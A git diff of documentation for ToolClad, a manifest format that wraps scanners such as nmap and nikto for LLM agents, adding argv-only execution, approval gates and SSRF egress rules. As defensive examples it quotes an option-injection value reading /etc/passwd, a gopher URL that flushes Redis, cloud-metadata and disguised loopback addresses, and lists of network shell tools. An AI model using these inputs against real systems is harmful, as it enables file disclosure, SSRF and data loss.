Envelope @@ -234,7 +292,7 @@ Every execution returns a structured envelope: } ``` -On error, `exit_code` and `stderr` are included so LLM agents can self-correct. +On error, `exit_code` and `stderr` are included so LLM agents can self-correct. Possible `status` values are `success`, `error`, `timeout` (partial output preserved), `schema_error`, `client_error`, `server_error`, `redirect_blocked` (HTTP), and `delegation_preview` (MCP proxy). For HTTP tools `command` holds `" "`, never the expanded URL. ## Symbiont Integration @@ -243,7 +301,7 @@ ToolClad is the `tools/` directory convention for [Symbiont](https://symbiont.de - Runtime auto-discovers `.clad.toml` files at startup - Registers each tool as an MCP tool in the ORGA reasoning loop - Cedar policy evaluation using manifest-declared `[tool.cedar]` resource/action -- Scope enforcement against `scope/scope.toml` +- Scope enforcement against `scope/scope.toml` (the same fail-closed rules described under [Scope Enforcement](#scope-enforcement)) - Cedar policy auto-generation from manifest `risk_tier` - Hot-reload in development mode - `symbi tools list/validate/test/schema/init` CLI diff --git a/SKILL.md b/SKILL.md index 7a0d4ab..dcc3ca9 100644 --- a/SKILL.md +++ b/SKILL.md @@ -1,7 +1,7 @@ --- name: toolclad title: ToolClad -description: Declarative tool interface contracts for agentic runtimes — oneshot CLI, interactive session (PTY), and browser (CDP/Playwright) modes with typed parameters, per-interaction Cedar gating, evidence envelopes. Signs .clad.toml manifests with SchemaPin (recommended v1.4-alpha options: --expires-in for TTL, --schema-version for semver tagging, --previous-hash for lineage chain). +description: "Declarative tool interface contracts for agentic runtimes — executing shell and HTTP backends, plus session (PTY) and browser (CDP) contracts that are parsed and validated for hosting runtimes; typed parameters, policy gating, evidence envelopes. Signs .clad.toml manifests with SchemaPin (recommended v1.4-alpha options: --expires-in for TTL, --schema-version for semver tagging, --previous-hash for lineage chain)." version: 0.6.2 --- @@ -13,19 +13,25 @@ version: 0.6.2 ## What ToolClad Does -ToolClad is a declarative manifest format (`.clad.toml`) that defines the complete behavioral contract for a tool. It supports three execution modes sharing a common governance layer: +ToolClad is a declarative manifest format (`.clad.toml`) that defines the complete behavioral contract for a tool. The reference runtimes in this repository execute two backends: -- **Oneshot** (default): Execute a single CLI command, return results. Replaces wrapper scripts. -- **Session**: Maintain a running CLI process (PTY) where each interaction is independently validated and policy-gated. For interactive tools like msfconsole, psql, redis-cli. -- **Browser**: Maintain a governed headless browser session where navigation, clicks, form submission, and JS execution are typed, scoped, and policy-gated via CDP/Playwright. +- **Oneshot shell** (`[command]`, default): Execute a single CLI command via `execve`, return results. Replaces wrapper scripts. +- **HTTP** (`[http]`): Build and send a single HTTP request from the manifest. -All three modes share: +Three further contracts are **parsed and validated but not executable by the reference runtimes**: + +- **MCP proxy** (`[mcp]`): arguments are validated and field-mapped; `execute` returns a `delegation_preview` envelope and makes no upstream call. +- **Session** (`[session]`): a running CLI process (PTY) where each interaction is independently validated and policy-gated (msfconsole, psql, redis-cli). `validate`/`schema` work; `execute` is refused with "session mode is parsed but not yet executable in the reference implementation". +- **Browser** (`[browser]`): a governed browser session via CDP where navigation, clicks, form submission, and JS execution are typed, scoped, and policy-gated. Same status as session mode. + +Executing session and browser contracts is the job of a hosting runtime such as Symbiont. All manifests share: - **Typed Parameters**: 15 built-in types (11 core + 4 extended) with injection sanitization, plus custom types via `toolclad.toml` -- **Per-Interaction Cedar Gating**: Every command/action evaluated against policies +- **Policy Gate**: `human_approval = true` and `risk_tier` `high`/`critical` are denied by default; `--approve` or an explicit gate is required. Cedar evaluation is external. - **Evidence Envelopes**: Every execution wrapped in JSON with scan_id, timestamps, SHA-256 hash -- **Scope Enforcement**: URL/target scope checking against allow-lists +- **Scope Enforcement**: `scope_check = true` arguments checked against `scope/scope.toml`, fail-closed when no scope file is reachable - **MCP Schema Generation**: Auto-generate `inputSchema`/`outputSchema` from manifests for LLM tool use -- **Cedar Integration**: Declare policy resource/action in the manifest for authorization gating +- **Cedar Integration**: Declare policy resource/action in the manifest for an external policy engine +- **Strict loading**: unknown manifest keys are refused at load ## When to Create a Manifest @@ -46,8 +52,11 @@ name = "my_tool" version = "1.0.0" binary = "my-binary" description = "What this tool does" -timeout_seconds = 30 -risk_tier = "low" # low | medium | high | critical +timeout_seconds = 30 # Must be > 0 (default 60) +risk_tier = "low" # low | medium | high | critical (high/critical are gated: run --approve) +# human_approval = true # Default policy gate refuses unless --approve / an approving gate +# network_egress = true # Tool reaches the network: every network-target arg must set block_internal = true +# allow_interpreter = true # Permit sh/bash/python3/node/... as argv[0] (refused at load otherwise) # dispatch = "callback" # Optional: validator-only embedding (no backend / no [output] required) [tool.cedar] # Optional: Cedar policy integration @@ -64,6 +73,8 @@ hash = "sha256" position = 1 required = true type = "scope_target" # Validates IP/CIDR/hostname, blocks injection +block_internal = true # Refuse loopback/private/metadata targets; required for egress tools +# scope_check = true # Also allowlist against scope/scope.toml (fail-closed) description = "Target to scan" [args.mode] @@ -76,7 +87,9 @@ description = "Scan mode" # --- Command --- [command] -template = "my-binary --mode {mode} {target}" +exec = ["my-binary", "--mode", "{mode}", "{target}"] # One argv element per entry; never re-split +# end_of_options = "--" # Optional: insert a literal -- before the first user-argument token +# template = "..." # Deprecated: tokenized into exec at load with a warning # OR for complex tools: # executor = "scripts/wrapper.sh" # Escape hatch @@ -84,8 +97,9 @@ template = "my-binary --mode {mode} {target}" # --- Output --- [output] format = "text" # text | json | xml | csv | jsonl -parser = "builtin:text" # Or custom: "scripts/parse.py" +parser = "builtin:text" # builtin:* only; custom parser scripts are refused at load envelope = true +max_bytes = 8388608 # Cap on stdout/stderr (default 8 MiB); overflow sets output_truncated [output.schema] type = "object" @@ -99,49 +113,55 @@ description = "Tool output" | Type | Validates | Key Constraints | |------|-----------|----------------| -| `string` | Non-empty, injection-safe | `pattern` for regex, `sanitize = ["injection"]` | -| `integer` | Numeric | `min`, `max`, `clamp = true` | +| `string` | Injection-safe | anchored `pattern`, `sanitize = ["injection"]`, `allow_whitespace`, `allow_leading_dash` | +| `integer` | `^[+-]?\d+$` | `min`, `max`, `clamp = true` | | `number` | Float, rejects NaN/inf | `min_float`, `max_float`, `clamp = true` | -| `port` | 1-65535 | | -| `boolean` | `"true"` or `"false"` only | | +| `port` | `^\d+$`, 1-65535 | | +| `boolean` | `true`/`false`, case-insensitive, normalized to lowercase | | | `enum` | In `allowed` list | Must declare `allowed = [...]` | -| `scope_target` | ASCII-only IP/CIDR/hostname; rejects IDN/punycode and wildcards | Auto scope-checked; gate IDN registration upstream | -| `url` | Valid URL | `schemes = ["http", "https"]`, `scope_check = true` | -| `path` | No traversal (`../`) | | -| `ip_address` | Valid IPv4/IPv6 | | -| `cidr` | Valid CIDR notation | | -| `msf_options` | Semicolon-delimited `set KEY VALUE` | Metasploit options | +| `scope_target` | ASCII-only canonical IP/CIDR/hostname; rejects IDN/punycode and wildcards | `block_internal = true`, `scope_check = true` (explicit; not automatic) | +| `url` | `scheme://host[:port]/...`; `http`/`https` by default; no userinfo; dangerous schemes always refused | `schemes = [...]`, `block_internal = true`, `scope_check = true` | +| `path` | No `..` component, no absolute paths | | +| `ip_address` | Canonical IPv4/IPv6 literal | `block_internal = true`, `scope_check = true` | +| `cidr` | Valid IPv4/IPv6 CIDR | `block_internal = true` (overlap check), `scope_check = true` | +| `msf_options` | Semicolon-delimited `set KEY VALUE` | Metasploit options; whitespace allowed as separator | | `credential_file` | Relative path + must exist | Username/password lists | -| `duration` | Integer with suffix (`30`, `5m`, `2h`) | Timeout overrides | -| `regex_match` | Matches declared `pattern` (required) | Module paths | +| `duration` | `30`, `5m`, `2h`, `1h30m`, `500ms` | Timeout overrides | +| `regex_match` | Matches declared anchored `pattern` (required) | Module paths | -Custom types can be defined in `toolclad.toml` at the project root with a `base` type and additional constraints. +Custom types can be defined in `toolclad.toml` at the project root with a `base` type and additional constraints. The CLIs find `toolclad.toml` by walking up from the manifest's directory. Custom types cannot carry `block_internal` or `scope_check`, so network targets must use the built-in network types. -All types reject shell metacharacters (`;|&$\`(){}[]<>!`) by default. +All string-derived types reject shell metacharacters (`;|&$\`(){}[]<>!`), NUL, control characters, quotes and backslashes, whitespace (unless `allow_whitespace = true` in `exec` mode) and a leading `-`/`+` (unless `allow_leading_dash = true`). NUL is rejected for every type, including `enum`. -## Command Templates +## Command Construction -Templates interpolate validated parameters. The agent never sees the constructed command. +`exec` arrays interpolate validated parameters. Each element is one argv entry; a placeholder must be a whole, unquoted token and substituted values are never re-split. The agent never generates the command. ```toml [command] -template = "nmap {_scan_flags} --max-rate {max_rate} {target}" +exec = ["nmap", "{_scan_type_flags}", "--max-rate", "{max_rate}", "{_port_flag}", "{target}"] [command.defaults] max_rate = 1000 -# Map enum values to CLI flags +# Map enum values to CLI flags -> exposed as {_scan_type_flags} [command.mappings.scan_type] ping = "-sn -PE" service = "-sT -sV" aggressive = "-A -T4" -# Conditional fragments +# Conditional fragments -> exposed as {_port_flag} [command.conditionals] -port_flag = { when = "port != 0", template = "-p {port}" } +port_flag = { when = "port != ''", template = "-p {port}" } ``` -Variables prefixed with `_` are injected by the executor (`_scan_flags`, `_output_file`, `_scan_id`). +- Mapping variables are named `__flags` only (`{_scan_type_flags}` for `[command.mappings.scan_type]`); conditionals are `_` (`{_port_flag}`). These are the only placeholders that expand to more than one argv token, and their text comes from the manifest, never from the agent. +- `_scan_id`, `_output_file` and `_evidence_dir` are injected by the executor as single tokens. +- A token that is exactly one placeholder whose value is empty is dropped, so unset optionals disappear. +- `{{` and `}}` are escapes for literal braces (`"%{{http_code}}"` becomes `%{http_code}`). +- `end_of_options = "--"` inserts a literal `--` before the first user-argument token. +- Every placeholder must resolve to a declared arg, default, mapping, conditional, or executor variable, or the manifest is refused at load. +- `template = "..."` is deprecated: it is tokenized into the same `exec` array at load (placeholders inside quotes are refused) and prints a warning. ## Evidence Envelope Format @@ -170,6 +190,12 @@ toolclad test tools/nmap_scan.clad.toml --arg target=10.0.1.0/24 --arg scan_type # Execute and get evidence envelope toolclad run tools/nmap_scan.clad.toml --arg target=10.0.1.0/24 --arg scan_type=service +# Execute a tool the default policy gate would refuse (human_approval = true, risk_tier high/critical) +toolclad run tools/nikto_scan.clad.toml --approve --arg target=example.com + +# Validate while tolerating unknown keys (printed as warnings instead of refused) +toolclad validate tools/legacy_tool.clad.toml --allow-unknown-keys + # Output MCP JSON Schema toolclad schema tools/nmap_scan.clad.toml ``` @@ -203,10 +229,10 @@ DSL agents reference tools by name: `capabilities = ["tool.nmap_scan"]` One required `scope_target` arg, text output, `builtin:text` parser. ### Scanner with modes (nmap, nuclei) -`enum` arg for scan type, `[command.mappings]` to translate to flags, XML/JSON output with custom parser. +`enum` arg for scan type, `[command.mappings]` to translate to flags, XML/JSON output with `builtin:xml`/`builtin:json` (custom parser scripts are refused at load). Set `network_egress = true` and `block_internal = true` on the target. -### Tool requiring approval (metasploit) -Set `human_approval = true` and `risk_tier = "high"`. Cedar policy can gate on `context.has_human_approval`. +### Tool requiring approval (metasploit, nikto) +Set `human_approval = true` and/or `risk_tier = "high"`. The default policy gate refuses the tool; run it with `--approve` or supply an approving gate from library code. Cedar policy (external to the reference runtimes) can additionally gate on `context.has_human_approval`. ### Complex tool (escape hatch) -Set `executor = "scripts/wrapper.sh"` instead of `template`. Validated args passed as `TOOLCLAD_ARG_*` env vars. +Set `executor = "scripts/wrapper.sh"` instead of `exec`. Validated args are passed as `TOOLCLAD_ARG_*` env vars alongside `TOOLCLAD_SCAN_ID`, `TOOLCLAD_TOOL_NAME`, `TOOLCLAD_EVIDENCE_DIR` and `TOOLCLAD_OUTPUT_DIR`; the rest of the environment is the fixed allowlist (`PATH`, `HOME`, `LANG`, `LC_ALL`, `TZ`, `TERM`) and `TOOLCLAD_SECRET_*` is never passed. diff --git a/TOOLCLAD_DESIGN_SPEC.md b/TOOLCLAD_DESIGN_SPEC.md index fea29f3..cff63e5 100644 --- a/TOOLCLAD_DESIGN_SPEC.md +++ b/TOOLCLAD_DESIGN_SPEC.md @@ -27,7 +27,7 @@ A ToolClad manifest answers four questions: 1. **What can this tool accept?** Typed parameters with validation constraints (enums, ranges, regex, scope checks, injection sanitization). 2. **How do you invoke it?** A command template, HTTP request, MCP server call, PTY session, or browser engine action. The LLM never generates raw invocation details. 3. **What does it produce?** Output format declaration, parsing rules, and a mandatory output schema that normalize raw tool output into structured JSON. The LLM knows the shape of results before proposing a call. -4. **What is the interaction model?** Three execution modes with five backends share a common governance layer: +4. **What is the interaction model?** Three execution modes with five backends share a common governance layer. (The reference runtimes in this repository execute the shell and HTTP backends; MCP proxy, session and browser manifests are parsed and validated but not executed — see [Session and Browser Security Requirements](#session-and-browser-security-requirements-normative).) - **Oneshot** (default): Execute and return. Three backends: shell command (`[command]`), HTTP request (`[http]`), or MCP server proxy (`[mcp]`). - **Session**: Maintain a running CLI process (PTY) where each interaction is independently validated and policy-gated. - **Browser**: Maintain a governed headless browser session where navigation, clicks, form submission, and JS execution are typed, scoped, and policy-gated. @@ -57,7 +57,13 @@ LLM fills typed parameters -> Cedar Gate evaluates policy -> structured JSON back to agent ``` -The agent never sees or generates a command string. It fills in typed fields. The manifest constrains the parameter space to only valid values. This is an allow-list. The dangerous action cannot be expressed because the interface does not permit it. +The agent never generates a command string. It fills in typed fields. The manifest constrains the parameter space to only valid values. This is an allow-list. The dangerous action cannot be expressed because the interface does not permit it. + +The agent does not see one either: the evidence envelope's `command` field +reports the *declared* command — the `exec` array or template with placeholders +intact — not the expanded argv. Executor-injected paths and expanded secrets +therefore never reach the agent. The fully resolved argv is shown only by the +human-facing dry run (`toolclad test`). The manifest enables three properties that unstructured shell execution cannot: @@ -83,12 +89,85 @@ ToolClad browser mode: LLM selects browser command -> Gate validates URL scope -> BrowserExecutor sends CDP command -> page state captured ``` -Browser agents today (Claude in Chrome, OpenAI Operator, Playwright-based agents) rely on the LLM's instruction-following to stay on allowed domains, avoid submitting sensitive forms, and not execute arbitrary JavaScript. That is prompt-based security. ToolClad browser mode makes it structural: navigation URLs are scope-checked against an allow-list of domains, form submission requires human approval, and JS execution is a separately gated high-risk command. The governance layer is identical to session mode; only the transport differs. +Browser agents today rely on the model's instruction-following to stay on allowed domains, avoid submitting sensitive forms, and not execute arbitrary JavaScript. That is prompt-based security. ToolClad browser mode makes it structural: navigation URLs are scope-checked against an allow-list of domains, form submission requires human approval, and JS execution is a separately gated high-risk command. The governance layer is identical to session mode; only the transport differs. + +### The Gate Is a Seam, Not a Comment + +`risk_tier`, `human_approval` and `[tool.cedar]` describe a policy decision. +A library that validates and runs in a single call gives an embedding runtime +nowhere to make that decision, so the metadata is documentation and the +behavior is fail-open. `toolclad run` on a manifest declaring +`human_approval = true` must not execute it. + +Execution therefore takes a caller-supplied gate: + +``` +GateDecision = Allow | Deny(reason) +Gate = fn(manifest, validated_args) -> GateDecision +``` + +The **default** gate denies when `human_approval = true` or `risk_tier` is +`high` or `critical`, and allows otherwise. A caller that has made the decision +elsewhere passes its own gate; the CLIs expose this as `--approve`. A denied +call returns a structured error and spawns nothing. + +Cedar evaluation itself is **external** to ToolClad. There is no Cedar engine +in this project: `[tool.cedar]` declares the resource and action for the +embedding runtime's evaluator. A deployment that relies on Cedar must wire that +evaluator into the gate; ToolClad guarantees only that nothing runs until some +gate says yes. + +### Process Environment + +The executed tool is not trusted. It receives: + +- a **cleared environment** rebuilt from an allow-list (a fixed `PATH`, plus + `HOME`, `LANG`, `LC_ALL`, `TZ`, `TERM` when present). Inheriting the + runtime's environment hands every tool the runtime's secrets along with + `LD_PRELOAD`, `HTTP_PROXY` and `SSLKEYLOGFILE`; +- **no secrets**. `TOOLCLAD_SECRET_*` is never passed to a child. Secrets are + resolved by the runtime at call time, from its own environment or from + `TOOLCLAD_SECRETS_FILE` (preferred: a file the child cannot read, with group + and other permissions refused); +- `argv[0]` resolved to an **absolute path** against the fixed `PATH`, with its + basename required to equal `tool.binary`'s, so `PATH` cannot redirect the + tool; +- stdin from `/dev/null`, a per-invocation scratch directory mode 0700 as its + cwd, and a restrictive umask; +- resource limits (`RLIMIT_CORE`, `RLIMIT_FSIZE`, `RLIMIT_NOFILE`, plus + `RLIMIT_NPROC`/`RLIMIT_AS`/`RLIMIT_CPU` when declared in `[tool.limits]` — + `RLIMIT_NPROC` is per-user on Linux, so it has no safe fixed default) where the language can set them in the pre-exec hook. Go and + Node cannot do this portably and skip it — a documented gap, not a silent + one. + +An interpreter as `argv[0]` (`sh`, `bash`, `python`, `node`, `env`, `xargs`, …) +defeats the whole model, since the argument becomes code. It is refused at load +unless the manifest sets `[tool] allow_interpreter = true`. + +Evidence lives under a directory created once with mode 0700; identifiers carry +128 bits of entropy and output files are opened `O_NOFOLLOW | O_EXCL | O_CREAT` +mode 0600, so a pre-planted symlink in a shared temp directory cannot redirect +a write. --- ## Manifest Format +### Unknown Keys Are Refused + +A manifest is a security contract, so an unrecognized key is a load error, not +a comment. `tiemout_seconds = 5` silently became the 60-second default; +`block_internal = true` was silently discarded by three of the four runtimes, +which is how the shipped examples came to look hardened while running without +the control they declared. Any control that a given runtime does not support +must make the manifest **fail to load** rather than degrade to "off". + +Implementations MUST reject unknown keys in every section +(`#[serde(deny_unknown_fields)]`, `toml.MetaData.Undecoded()`, or an explicit +per-section allow-list). The only escape hatch is +`toolclad validate --allow-unknown-keys`, which downgrades the error to a +warning for authoring; library loading is always strict. + ### Minimal Example ```toml @@ -112,7 +191,7 @@ type = "scope_target" description = "Domain name or IP address to query" [command] -template = "whois {target}" +exec = ["whois", "{target}"] [output] format = "text" @@ -153,6 +232,8 @@ hash = "sha256" position = 1 required = true type = "scope_target" +# nmap dials this target, so the egress policy is mandatory: see Egress Safety. +block_internal = true description = "Target CIDR, IP, or hostname" [args.scan_type] @@ -162,18 +243,24 @@ type = "enum" allowed = ["ping", "service", "version", "syn", "os_detect", "aggressive", "vuln_script"] description = "Type of scan to perform" -[args.extra_flags] -position = 3 -required = false -type = "string" -sanitize = ["injection"] -default = "" -description = "Additional nmap flags (must pass Gate approval)" +# There is deliberately no free-form flag parameter. A `string` argument +# interpolated as tool options is an option-injection channel: nmap's `-iL` +# reads arbitrary files and `--script=` executes attacker-supplied Lua in +# a process that usually holds CAP_NET_RAW. Every supported invocation is an +# entry in [command.mappings.scan_type] instead. # --- Command Construction --- [command] -template = "nmap {_scan_flags} --max-rate {max_rate} -oX {_output_file} --no-stylesheet -v {extra_flags} {target}" +exec = [ + "nmap", + "{_scan_type_flags}", + "--max-rate", "{max_rate}", + "-oX", "{_output_file}", + "--no-stylesheet", + "-v", + "{target}", +] [command.defaults] max_rate = 1000 @@ -192,8 +279,8 @@ vuln_script = "-sV --script=vuln --script-timeout 60s" [output] format = "xml" parser = "builtin:xml" -# OR: parser = "scripts/parse-outputs/parse-nmap-xml.py" envelope = true +max_bytes = 8388608 [output.schema] type = "object" @@ -363,7 +450,7 @@ description = "Raw module execution output" ## Type System -Built-in validation types cover the patterns repeated across all existing wrapper scripts. Every type includes injection sanitization (shell metacharacter rejection) by default. Types are designed so that "valid according to the type" means "safe to interpolate into a shell command." +Built-in validation types cover the patterns repeated across all existing wrapper scripts. Types are designed so that "valid according to the type" means "safe as exactly one argv entry" — see [Argument Hygiene](#argument-hygiene-normative) for the rules every string-derived type enforces, which are stricter and sink-aware rather than a shell-metacharacter blocklist. ### Core Types @@ -376,7 +463,7 @@ Built-in validation types cover the patterns repeated across all existing wrappe | `boolean` | Exactly `"true"` or `"false"` | Feature flags | | `enum` | Value in declared `allowed` list | Scan types, protocols, severity levels | | `scope_target` | Injection-safe + ASCII-only + reject IDN/punycode + block wildcards/traversal | IPs, CIDRs, ASCII hostnames | -| `url` | Valid URL structure, host extracted for scope validation | Web application targets | +| `url` | Scheme allow-list (`http`/`https` by default), dangerous schemes refused, no userinfo or whitespace, host put through the egress policy | Web application targets | | `path` | No traversal (`../`), optionally must exist | Wordlists, config files, output dirs | | `ip_address` | Valid IPv4 or IPv6 | Listener addresses, bind addresses | | `cidr` | Valid CIDR notation | Network ranges | @@ -385,11 +472,38 @@ Built-in validation types cover the patterns repeated across all existing wrappe | Type | Validates | Use Case | |------|-----------|----------| -| `msf_options` | Semicolon-delimited `set KEY VALUE` pairs, no shell metacharacters | Metasploit extra options | +| `msf_options` | Semicolon-delimited `set KEY VALUE` pairs; space is the pair separator, but quotes, control characters and a leading dash are refused | Metasploit extra options | | `credential_file` | Path type + must exist + read-only check | Username/password lists | | `duration` | Integer with suffix (s/m/h) or bare seconds | Timeout overrides | | `regex_match` | Matches a declared `pattern` (PCRE) | Module paths, format strings | +#### `url` validation (normative) + +One validator, identical in every runtime. In order: + +1. The [Argument Hygiene](#argument-hygiene-normative) rules. Whitespace is + never permitted in a `url`, even with `allow_whitespace`. The + metacharacter blocklist refuses `{` and `}`, so a value can never carry a + `{_secret:…}` reference. +2. The value must contain `://`. +3. The scheme must be in `schemes` when that list is present, otherwise in the + default `["http", "https"]`. Comparison is case-insensitive. +4. `javascript`, `data`, `file`, `blob`, `about`, `gopher`, `dict`, `ftp`, + `ldap`, `jar`, `netdoc`, `mailto`, `ws` and `wss` are refused with a + dedicated message **even if a manifest lists them in `schemes`**. A + `gopher://127.0.0.1:6379/_FLUSHALL` is a Redis command, not a fetch. +5. Userinfo is refused: an `@` in the authority hides the real host from a + human reviewer. +6. The host is everything between `://` and the first `/`, `?`, or `#`. An + empty host is refused; a bracketed IPv6 literal is unwrapped; a trailing + `:port` must be 1–65535. +7. The host goes through the [Egress Safety](#egress-safety) policy. +8. `scope_check` applies if set. + +A manifest that omits `schemes` is therefore http/https only. Earlier releases +let Go and Python accept any scheme in that case, and let Rust ignore `schemes` +entirely. + #### `scope_target` ASCII / IDN policy (since v0.6.0) `scope_target` is intentionally ASCII-strict. In addition to rejecting shell metacharacters, wildcards, and traversal sequences (`../`, leading `/`, backslashes), it refuses: @@ -410,6 +524,104 @@ Empty values are also refused with `scope_target must not be empty`. Implementat CLIs must not silently strip whitespace from values before passing them to validators. The Python `toolclad` CLI previously did `value.strip()` in argument parsing, which masked the whitespace policy from cross-impl test harnesses; this was corrected in the same release that introduced the explicit whitespace check. +### Argument Hygiene (normative) + +"Valid according to the type" must mean "safe as exactly one argv entry". The +original shell-metacharacter blocklist (`;|&$\`(){}[]<>!\n\r`) does not deliver +that: it is aimed at a shell that is not in the execution path and is blind to +the sink that is — an option parser. A value of `-iL /etc/passwd` contains no +metacharacter at all. + +Every **string-derived** type (`string`, `path`, `credential_file`, +`regex_match`, `url`, `scope_target`, `duration`, `msf_options`) therefore +rejects, in this order and before any type-specific parsing: + +| Rule | Rejected | Opt-out | +|---|---|---| +| NUL | `\0` anywhere — for *every* type, including `enum` and the numerics | none | +| Control characters | U+0000–U+001F, U+007F | none | +| Quotes and backslash | `'`, `"`, `\` | none | +| Whitespace | any Unicode whitespace | `allow_whitespace = true`, honored **only** in `exec` mode | +| Leading dash | a value starting with `-` or `+` | `allow_leading_dash = true` | + +The shell-metacharacter blocklist is retained on top of these as defense in +depth, not as the primary control. + +```toml +[args.headers] +type = "string" +# A header line is "Key: Value", so a space belongs to the value. In the array +# form the value stays one argv entry, so whitespace cannot add arguments. +allow_whitespace = true + +[args.verbosity_flag] +type = "string" +allow_leading_dash = true # this argument really is meant to be an option +``` + +`allow_whitespace` is deliberately inert for the deprecated `template` form: +a space in a value is only provably harmless once the argv boundaries were +fixed before the value existed. + +For the numeric types the leading-dash rule applies to the **result**, after +range checking and clamping, so `clamp` with a non-negative `min` keeps working +while a bare `-1` is refused. + +`pattern` is **anchored**: the implementation compiles `^(?:)$` (`\Z` in +Python, so a trailing newline cannot match). An author who writes `[a-z]+` +gets a whole-value match, not a substring search. + +### Egress Safety + +A tool that dials a network destination derived from its arguments is an SSRF +surface, and the single most valuable target behind it is the cloud metadata +endpoint. Two controls apply. + +**Per-argument policy.** `block_internal = true` on a `scope_target`, `url`, +`ip_address`, or `cidr` argument refuses targets that are not provably public: + +- *Always blocked, with or without the flag*: IPv4 link-local `169.254.0.0/16` + (which contains `169.254.169.254`), IPv6 link-local `fe80::/10`, and their + IPv4-mapped IPv6 forms. +- *Blocked under the flag*: loopback, RFC 1918 private space, CGNAT + `100.64.0.0/10`, the unspecified and broadcast addresses, the documentation + and benchmarking ranges, reserved `240.0.0.0/4`, IPv6 `::1`, `::`, + `fc00::/7`, `2001:db8::/32`, and their IPv4-mapped forms. + +A string check over literals is not sufficient, because the agent chooses the +spelling. Implementations MUST also: + +- refuse non-canonical literal encodings (`2130706433`, `0x7f000001`, + `0177.0.0.1`, `127.1`) rather than passing them through as "hostnames" for a + resolver to expand; +- refuse the internal-name set unconditionally: `localhost` and any + `.localhost`, `.local`, `.internal`, `.home.arpa`, `.lan`, `.intranet`, + `.corp`, `.private` suffix, and `metadata.google.internal`; +- detect an **IP literal embedded in a hostname** — the wildcard-DNS forms + `127.0.0.1.nip.io` and `10-0-0-1.nip.io` resolve to the embedded address, so + the range policy applies to it; +- test a CIDR argument for **overlap** with each blocked range, not just its + base address. `8.0.0.0/5` has a public base and contains all of `10.0.0.0/8`; +- **resolve a hostname** under `block_internal` and apply the range policy to + every A/AAAA answer, then pin the resolved address into the invocation + (`curl --resolve host:443:ip`) or refuse. Resolution failure is a refusal: + a name that cannot be resolved cannot be shown to be public. Where a runtime + has no synchronous resolver (the JavaScript validator), it refuses a hostname + under `block_internal` outright and offers an async validator for the + resolving path. + +**Manifest-level lint.** `[tool] network_egress = true`, or a command whose +`argv[0]` is a known egress binary (`curl`, `wget`, `nmap`, `nc`, `masscan`, +`ssh`, `nikto`, …), makes `block_internal` **mandatory** on every +`scope_target`, `url`, `ip_address`, and `cidr` argument. A manifest that omits +it is refused at load, so "the control was never switched on" is not a +reachable state. `[http]` and `[browser]` manifests are treated as +`network_egress = true`. + +A custom type cannot carry `block_internal` or `scope_check`. An argument that +names a network target must therefore use a built-in type; a manifest that +dispatches an egress binary with a custom-typed target is refused. + ### Type Composition Types can be extended with additional constraints: @@ -483,33 +695,93 @@ The command construction layer is the core mechanism that prevents LLMs from gen ### Invocation Forms -ToolClad supports two invocation forms for command construction: +The argv array is the only invocation form that reaches a process. `exec` declares +it directly; `template` is deprecated sugar that is compiled into it at load. -**Array form (preferred):** Each argument is a separate argv entry, passed directly to `execve`/`os/exec`/`subprocess` without shell interpretation. Values containing spaces, quotes, or special characters are safe because they are never re-split. +**Array form (canonical):** Each element is one argv entry, passed directly to +`execve`/`os/exec`/`subprocess` without shell interpretation. ```toml [command] exec = ["curl", "-H", "Authorization: {token}", "{target}"] ``` -**String template form (legacy):** A single string that is split into argv via `shlex` (Rust/Python) or a quote-aware splitter (Go/JS) before execution. This works for simple cases but breaks when validated parameter values contain spaces (e.g., commit messages, custom HTTP headers). +**String template form (deprecated):** A single string that is **tokenized at +manifest load**, before any value exists, and stored as the array above. +Implementations MUST emit a load-time deprecation warning; the form will be +removed in the next minor release. ```toml [command] template = "whois {target}" ``` -When both `exec` and `template` are present, `exec` takes precedence. New manifests SHOULD use `exec`. Executors MUST NOT route either form through a shell (`sh -c`, `bash -c`, `cmd /c`). +When both `exec` and `template` are present, `exec` takes precedence. Executors +MUST NOT route either form through a shell (`sh -c`, `bash -c`, `cmd /c`). + +#### Tokenization order (normative) + +Splitting a command string *after* substituting values makes the splitter a +shell in all but name: any value containing an unquoted space or a quote that +closes a template-level quote becomes additional argv entries chosen by the +agent. Character blocklists cannot fix this, because the real sink is an option +parser, not a shell. Implementations MUST therefore: + +1. **Tokenize first, on the trusted template only.** The tokenizer honors `'`, + `"` and backslash, and runs at manifest load. +2. **Refuse a placeholder inside quotes.** A template such as + `curl -H '{headers}'` is rejected at load: a placeholder MUST be a whole, + unquoted token. (`{{` and `}}` are escapes for literal braces and are not + placeholders, so a `curl -w '%{{http_code}}'` format string is legal.) +3. **Substitute per token.** A placeholder resolves to exactly one argv entry. +4. **Never re-split after substitution.** No implementation may call `shlex` or + an equivalent splitter on a string that contains a substituted value. + +A token that is exactly one placeholder and resolves to the empty string is +dropped, so unset optional arguments leave no empty argv entry. An unresolved +placeholder is an error, never a literal argv entry. + +Two placeholder classes exist, and they differ precisely because of where the +text comes from: + +- **Manifest-controlled, multi-token:** `{__flags}` from + `[command.mappings]` and `{_}` from `[command.conditionals]`. The text + is written by the manifest author, so it is tokenized and may expand to zero + or more argv entries. +- **Agent-controlled, single-token:** every `[args.*]` value. It is substituted + into one token and can never become two. + +#### End of options + +```toml +[command] +exec = ["grep", "{pattern}", "data.txt"] +end_of_options = "--" +``` + +`end_of_options` accepts only the literal `"--"`. When set, the executor +inserts one `--` argv entry immediately before the first entry produced from a +token consisting solely of an agent-controlled placeholder. Use it for any tool +whose option parser honors `--`; it is the structural defense against option +injection, with the per-argument leading-dash rule as the type-level one. ### Template Variables -| Variable | Source | -|----------|--------| -| `{arg_name}` | Validated parameter value | -| `{_scan_flags}` | Resolved from `[command.mappings]` | -| `{_output_file}` | Auto-generated evidence output path | -| `{_scan_id}` | Auto-generated scan/invocation ID | -| `{_evidence_dir}` | Evidence directory from runtime config | +| Variable | Source | Tokens | +|----------|--------|--------| +| `{arg_name}` | Validated parameter value | exactly one | +| `{__flags}` | Resolved from `[command.mappings.]` | zero or more | +| `{_}` | Resolved from `[command.conditionals.]` | zero or more | +| `{_output_file}` | Auto-generated evidence output path | exactly one | +| `{_scan_id}` | Auto-generated scan/invocation ID | exactly one | +| `{_evidence_dir}` | Evidence directory from runtime config | exactly one | +| `{{` / `}}` | Literal `{` / `}` | — | + +Variables prefixed with `_` are injected by the executor, not provided by the +agent. The mapping variable name is `_{arg_name}_flags`; no other spelling is +recognized. Every placeholder is checked at load against the declared +arguments, defaults, mappings, conditionals and executor variables, so a typo +is a load error rather than a literal token in argv. Variables prefixed with `_` are injected by the executor, not provided by the agent. @@ -524,7 +796,9 @@ 